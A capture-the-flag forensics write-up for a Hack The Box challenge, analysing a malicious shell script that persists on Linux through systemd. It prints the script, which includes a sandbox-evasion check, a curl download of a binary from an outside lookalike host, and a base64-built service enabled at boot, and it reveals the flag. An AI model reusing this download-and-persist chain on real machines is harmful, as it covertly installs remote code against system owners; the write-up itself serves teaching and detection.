root@sparrow:~/writeups$ cat extraterrestrial-persistence.md
// writeups
Extraterrestrial Persistence
28 Apr 2023
· 1 min read
A Linux persistence script via systemd. Decoding the Base64 that builds the.servicefile, the flag appears inside theDescription=field.
Challenge overview
| Field | Value |
|---|---|
| Platform | Hack The Box · Challenge |
| Category | Forensics |
| Difficulty | Very Easy |
| State | Retired |
| Files | persistence.sh |
Attack map
[persistence.sh] malicious script
│
▼
[checks] user/host + curl payload
│
▼
[base64 -d] builds service.service
│
▼
[Description=] holds the flag
│
▼
[FLAG]
1. Read the script
The challenge ships persistence.sh. Reading it end to end reveals the full chain: environment check, payload download and service creation.cat persistence.shn=`whoami`; h=`hostname`
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
curl https://files.pypi-install.com/packeges/service -o /usr/local/bin/service
chmod +x /usr/local/bin/service
echo -e "BASE64..." | base64 --decode > /usr/lib/systemd/system/service.service
systemctl enable service.service2. Understand the persistence
It only runs if the user ispandoraon hostlinux_HQ(anti-analysis). Then it creates a systemd service enabled at every boot.
3. Decode the Base64
The heart of the challenge is the Base64 block that becomes the .service file. We decode it manually to see its contents.echo "BASE64_AQUI" | base64 -d[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
After=network.target network-online.target
[Service]
Type=oneshot
ExecStart=/usr/local/bin/service
[Install]
WantedBy=multi-user.target4. Flag
HTB{th3s3_4l13nS_4r3_s00000_b4s1c}Persistence chain
| Phase | Technique | Detail |
|---|---|---|
| Anti-analysis | Environment check | user pandora / host linux_HQ |
| Payload | Remote download | curl → /usr/local/bin/service |
| Persistence | systemd service | base64 → .service (flag in Description) |
Lessons learned
- systemd services are a common persistence mechanism — inspect
/usr/lib/systemd/systemandsystemctl list-unit-files. - Base64 is not encryption — always decode it; it hides payloads and data in plain text.
- User/host checks in malware aim to evade analysis sandboxes.